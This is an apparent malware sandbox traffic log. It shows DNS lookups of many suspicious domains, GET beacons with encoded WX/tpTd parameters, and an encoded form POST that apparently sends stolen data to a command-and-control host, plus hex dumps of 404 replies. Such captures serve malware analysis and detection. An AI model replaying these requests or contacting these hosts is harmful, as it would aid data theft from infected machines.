Source: global traffic	HTTP traffic detected: GET /c6cw/?WX=rnWllP5PLlhLLtj&tpTd=FqG002IG5EdskeSYnMZEmsgm4M8u04DOLE26DOOOZGkEYfdt2aoEMjGd+Okidkvsa7u+peDvqMbFWL8Zvpj7qkQAFbZLww+9EwijpyIUD9D3/88cfw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.drivedoge.websiteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hd7m/?tpTd=sLbEVsfW73VtVB0Jvj7gC+ceEVX4meQWoUuArYo60q3nO/kAxb5tEPXYoxmPYHkEXIEIOfWFMW/cSWDV+KoY2jgQgwLtxzjq6i8n+9HhH6xOpB1tMw==&WX=rnWllP5PLlhLLtj HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.torex33.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.multileveltravel.world
Source: global traffic	DNS traffic detected: DNS query: www.falconclub.online
Source: global traffic	DNS traffic detected: DNS query: www.promasterev.shop
Source: global traffic	DNS traffic detected: DNS query: www.childlesscatlady.today
Source: global traffic	DNS traffic detected: DNS query: www.animekuid.xyz
Source: global traffic	DNS traffic detected: DNS query: www.doggieradio.net
Source: global traffic	DNS traffic detected: DNS query: www.demovix.xyz
Source: global traffic	DNS traffic detected: DNS query: www.palcoconnector.net
Source: global traffic	DNS traffic detected: DNS query: www.shanhaiguan.net
Source: global traffic	DNS traffic detected: DNS query: www.mtcep.org
Source: global traffic	DNS traffic detected: DNS query: www.es-lidl.online
Source: global traffic	DNS traffic detected: DNS query: www.wajf.net
Source: global traffic	DNS traffic detected: DNS query: www.drivedoge.website
Source: global traffic	DNS traffic detected: DNS query: www.torex33.online
Source: global traffic	DNS traffic detected: DNS query: www.broomeorchard.xyz
Source: global traffic	DNS traffic detected: DNS query: www.wcq24.top

Source: unknown

HTTP traffic detected: POST /sld7/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.falconclub.onlineOrigin: http://www.falconclub.onlineCache-Control: max-age=0Content-Length: 193Connection: closeContent-Type: application/x-www-form-urlencodedReferer: http://www.falconclub.online/sld7/User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36Data Raw: 74 70 54 64 3d 79 75 32 4c 63 68 76 55 63 45 70 51 68 56 4e 52 35 64 61 53 69 73 5a 4d 65 41 78 47 73 71 2b 75 4f 57 63 37 70 48 4f 67 48 2b 4b 49 62 72 65 38 37 73 70 4b 44 33 70 74 45 6f 45 48 33 49 42 36 7a 53 64 70 68 4f 56 76 4b 65 78 34 79 6b 4d 71 30 48 56 4b 71 35 58 4a 73 76 33 73 72 70 70 6a 64 6c 31 77 30 2f 59 2b 79 30 4e 74 31 36 7a 4b 76 62 66 6a 64 4c 76 41 70 41 43 6e 49 71 73 45 6f 38 53 36 4b 42 62 36 65 62 69 46 4a 35 63 6e 68 31 58 71 37 48 43 38 78 64 56 57 52 49 2f 62 4e 62 6f 6d 4a 68 41 38 4b 38 30 62 75 50 4c 78 48 52 42 46 45 49 5a 52 67 4a 6b 6e Data Ascii: tpTd=yu2LchvUcEpQhVNR5daSisZMeAxGsq+uOWc7pHOgH+KIbre87spKD3ptEoEH3IB6zSdphOVvKex4ykMq0HVKq5XJsv3srppjdl1w0/Y+y0Nt16zKvbfjdLvApACnIqsEo8S6KBb6ebiFJ5cnh1Xq7HC8xdVWRI/bNbomJhA8K80buPLxHRBFEIZRgJkn

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 08 Oct 2024 13:33:53 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 08 Oct 2024 13:33:55 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 08 Oct 2024 13:33:58 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Tue, 08 Oct 2024 13:34:01 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:34:37 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://animekuid.xyz/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 9101Content-Type: text/html; charset=UTF-8Data Raw: 13 c4 bc 14 91 98 0f 80 8a c0 b8 89 8f 75 9e ef 3f 35 f5 ff eb 78 e6 16 fd 31 32 4f 26 5f 00 10 1b 57 99 ca b6 df c5 8e ef 66 7b 34 20 09 4a 8c b9 0d 01 59 54 14 55 fd 6f 7f d3 be bf 7c 53 b5 33 c0 08 87 d4 a9 b3 9b da 95 e2 29 76 0e b1 28 9d 2b ea bd b7 bb 9a 1f ee c6 ff ee 80 99 03 0f 9c 39 10 94 07 cc 00 a9 f1 80 0a 6f df ee df 7f 77 38 90 59 01 a4 64 c5 00 c5 08 39 84 d0 79 dc f4 29 b6 05 04 34 d4 5c e9 32 97 7e 8c 66 db 3e 4b b1 10 24 bc 7c 7f 2f 2e 5f 4e 7c de 2b 7c 62 44 60 9d f8 72 a4 df 3f 27 ae 84 44 c4 55 5e c7 63 a8 f6 be 25 1f 11 05 c1 86 ac 0f 99 8a ee 7d 4d db 18 10 5f 38 a1 ce 47 09 b0 ce af 60 93 eb da c3 57 bd 4c 8e 4c 4f 6e ae d1 99 f4 e9 bd c3 4d ff e5 0c 00 e0 72 85 8e 14 86 f9 5a 8e ba d9 8e 27 ec 6b b2 69 43 15 a3 1d 52 74 e4 95 a8 63 68 3a 75 75 94 63 5b e5 07 37 55 5f c0 cd 56 e8 07 07 b8 88 80 30 7f 3d ce 97 f0 b2 6f 3a f3 79 f7 f1 cd de cc 1e f8 d9 65 db f4 0f 30 ff 01 ec be 47 3d f4 ce 52 d2 1c d7 63 63 3b 0c 70 9f 3c 47 d6 9f 95 7f d5 ce 4c 8d 6e 9f 7d 2c 87 de a2 1a c8 92 34 59 15 81 51 cd 71 32 9d 3c 57 54 66 c0 e4 44 11 f8 1c 03 fd 13 75 ed 9f 55 0b df 59 5a 2b 00 e8 57 65 a6 49 bb 6c bf d9 ba 17 92 b1 a5 62 6c 19 32 b6 8c 18 5b c6 8c 2d 13 c6 96 29 63 0b a2 b9 7d 6e f7 7a c4 85 07 3e 30 20 5b 65 6c 75 3d 0c 59 76 52 fd f0 07 11 7e 97 63 16 75 42 48 9a 86 b0 df 62 26 05 96 12 cb 78 09 6a 68 57 3d 7d c6 b1 c2 71 88 13 7e 3b 67 26 d7 dc 7f c6 51 88 a3 08 c7 62 2f 5d 96 a6 77 8f bf 47 61 84 79 92 62 a1 92 6b 2a 9e 86 b8 1a 8a c2 0b 24 e5 5a f9 54 09 cc a5 c0 3c 4d ef d7 aa 01 39 c4 c2 59 a2 f6 68 fc c0 20 32 6c a6 bc 1f 0e 86 05 c7 22 4a 51 b6 cd 1b e2 c9 71 52 2c 0a 50 23 8f 02 7d 30 4a 60 a5 b0 aa f0 98 33 73 76 e3 22 0c f1 cf a3 50 fc ce c6 eb 66 a1 14 be f5 1e a6 30 d8 1d e5 12 df 66 11 1d 86 a3 16 cf fb ee 44 12 a7 0a 52 a8 c8 90 08 67 4d 69 c0 4e 60 ea 31 94 b2 5b 90 e0 88 7d 98 6e ae 85 bc da 36 45 18 41 ca 47 be f8 42 72 8d d8 8b c7 89 8b 4e cf fb ef a9 91 71 84 8e b3 31 7a ec 02 82 21 0b d8 ab 75 51 f5 16 e8 a2 fa ba b1 dc 5e f0 79 eb 22 08 f4 28 77 a9 87 5d 53 d1 f9 f0 23 99 cf 28 8e 31 4d b4 3a d3 31 95 ca 53 0f ce 44 c2 f7 b6 de 8f a6 1b be 37 d7 c6 b9 a6 df 58 c8 e1 88 64 48 f3 66 6a 35 b7 7d 6d 76 17 dc 05 96 ee 57 ad 2b df ad a2 96 dd 05 62 b4 7a 17 64 f0 95 ee 02 1e 52 46 e5 5d 10 8b 39 16 d7 99 08 23 33 3b 94 21 f9 f5 28 40 18 d9 c7 4d 9e a3 f6 71 f3 b8 d9 3e 6e de be bc c9 3e be 6b d8 4d a5 d9 e7 88 ca a1 2f b5 4b aa ca c0 7b 1b 49 3b ee 82 fd 48 e4 e9 f8 5d f0 dd 06 62 ba 94 08 e6 94 2a 92 df fe d1 4c 79 44 23 2a d0 e9 b4 3c 0b fe 7b be 0b 14 5c Data Ascii: u?5x12O&_Wf{4 J
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:35:07 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:35:10 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64
